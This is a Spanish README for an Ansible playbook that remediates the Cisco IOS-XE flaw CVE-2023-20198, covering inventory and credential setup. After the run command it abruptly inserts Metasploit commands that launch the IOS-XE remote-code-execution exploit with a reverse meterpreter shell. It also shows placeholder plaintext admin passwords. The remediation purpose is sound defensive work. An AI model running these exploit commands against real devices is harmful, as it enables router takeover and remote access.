
Verificar y remediar condiciones que hacen vulnerable un dispositivo IOS-XE a CVE-2023-20198
Este repositorio contiene un playbook de Ansible para remediar la vulnerabilidad CVE-2023-20198 encontrada en ciertos dispositivos Cisco.
Hace lo siguiente:
CVE-2023-20198-Fix/
│
├── ansible.cfg # Archivo de configuración de Ansible
├── group_vars/ # Directorio para variables específicas de grupos de hosts
│ └── iosxe_devices.yml # Definiciones de variables para dispositivos IOS-XE
├── inventory.yml # Inventario de hosts, incluidos los dispositivos a apuntar
└── remediate.yml # Playbook para remediar CVE-2023-20198
Asegúrese de tener Ansible instalado en su máquina de control. Este playbook fue escrito para Ansible 2.9 o superior.
Configure Ansible:
Edite ansible.cfg para que coincida con la configuración de su entorno.
Actualice inventory.yml con los detalles del host de sus dispositivos IOS-XE.
Defina las variables necesarias en group_vars/iosxe_devices.yml. Esto debe incluir cualquier configuración común para sus dispositivos IOS-XE, como ajustes de conexión y credenciales.
Para agregar un nuevo dispositivo IOS-XE al inventario, edite el archivo inventory.yml y añada el nuevo host bajo el grupo correspondiente:
iosxe_devices:
hosts:
vulnerable_router01:
ansible_host: 192.168.1.3
# ... otras variables necesarias
Reemplace new_router01 con el nombre de host de su dispositivo y las variables ansible_* con los valores reales de su dispositivo.
Si necesita actualizar credenciales u otros ajustes para el grupo de dispositivos IOS-XE, edite el archivo group_vars/iosxe_devices.yml:
---
ansible_network_os: ios
ansible_connection: network_cli
ansible_user: admin
ansible_password: admin_password # Solo para laboratorio, ¡almacene las credenciales de forma responsable!
ansible_become_method: enable
ansible_become_password: admin_password # Solo para laboratorio, ¡almacene las credenciales de forma responsable!
# ... otras variables
Para ejecutar el playbook, use el siguiente comando:
ansible-playbook remediate.yml -i inventory.yml
use exploit/linux/misc/cisco_ios_xe_rce
set RHOST 192.168.10.242 # Su IP objetivo
set target 1
set payload cmd/unix/python/meterpreter/reverse_tcp
check
exploit



Siempre pruebe sus cambios en un entorno controlado antes de ejecutar el playbook en producción.
Almacene datos sensibles como contraseñas y claves secretas usando Ansible Vault. No almacene credenciales en texto plano en sus archivos de inventario o group_vars.
Para medidas de seguridad adicionales y mejores prácticas, consulte la documentación oficial de Ansible.
Reemplace todos los valores de marcador de posición con datos reales que correspondan a su entorno. Este README asume una familiaridad básica con conceptos de Ansible como inventario, variables y ejecución de playbooks.